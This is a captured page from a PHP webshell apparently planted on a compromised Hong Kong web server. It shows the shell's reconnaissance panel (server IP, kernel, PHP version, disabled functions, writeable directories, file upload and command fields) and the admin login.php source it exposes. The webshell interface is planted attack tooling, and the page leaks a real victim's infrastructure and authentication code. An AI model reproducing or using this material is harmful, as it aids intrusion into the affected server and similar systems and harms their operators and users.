403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/b2b2c/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/b2b2c/webadmin//login.php
<?php
	require_once 'config.php';

	// Is the user already logged in? Redirect him/her to the private page

	if (isSet($_SESSION['loginname']) && ($loggin == '1')) {
		header("Location: index.php");
		exit;
	}

	require_once 'function_login_block.php';
	die_if_login_block();

	if (isSet($_POST['submit'])) {
		$do_login = true;

		include_once 'do_login.php';
	}

?>
<!DOCTYPE html>
<html>
<head>
	<?php require_once "_html_head.php"; ?>
</head>
<body class="hold-transition login-page">
<div class="login-box">
	<div class="login-logo">
	</div><!-- /.login-logo -->
	<div class="login-box-body">
		<p class="text-center h2">
			<?= SiteInfo::first()->companyname_en ?>
		</p>

		<div class="thumbnail hidden">
			<!--<img alt="" src="images/_logo.jpg" width="435" height="150">-->
		</div>

		<p class="login-box-msg">
			<?php if (isSet($login_error)) { ?>
				<?= _lang("The submitted login info is incorrect.") ?>
			<?php } else { ?>
				Sign in to start your session
			<?php } ?>
		</p>

		<form action="login.php" method="POST">
			<div class="form-group has-feedback">
				<input type="text" name="loginname" class="form-control" placeholder="Login / Email" autofocus>
				<span class="glyphicon glyphicon-user form-control-feedback"></span>
			</div>
			<div class="form-group has-feedback">
				<input type="password" name="password" class="form-control" placeholder="Password">
				<span class="glyphicon glyphicon-lock form-control-feedback"></span>
			</div>
			<div class="form-group has-feedback">
				<select name="language" class="form-control">
					<?php
						foreach ($arraylangcode as $langcode => $langname) {
							echo '<option value="'.$langcode.'" '.(!isset($_SESSION["wlangcode"]) || $langcode == "cn"?"selected":"").'>'.$langname.'</option>';
						}
					?>
				</select>
			</div>

			<div class="row">
				<div class="col-xs-8">

				</div><!-- /.col -->
				<div class="col-xs-4">
					<button type="submit" name="submit" value="submit" class="btn btn-primary btn-block btn-flat">Sign
						In
					</button>
				</div><!-- /.col -->
			</div>
		</form>

	</div><!-- /.login-box-body -->
</div><!-- /.login-box -->

<!-- REQUIRED JS SCRIPTS -->
<?php require_once "_html_script.php"; ?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit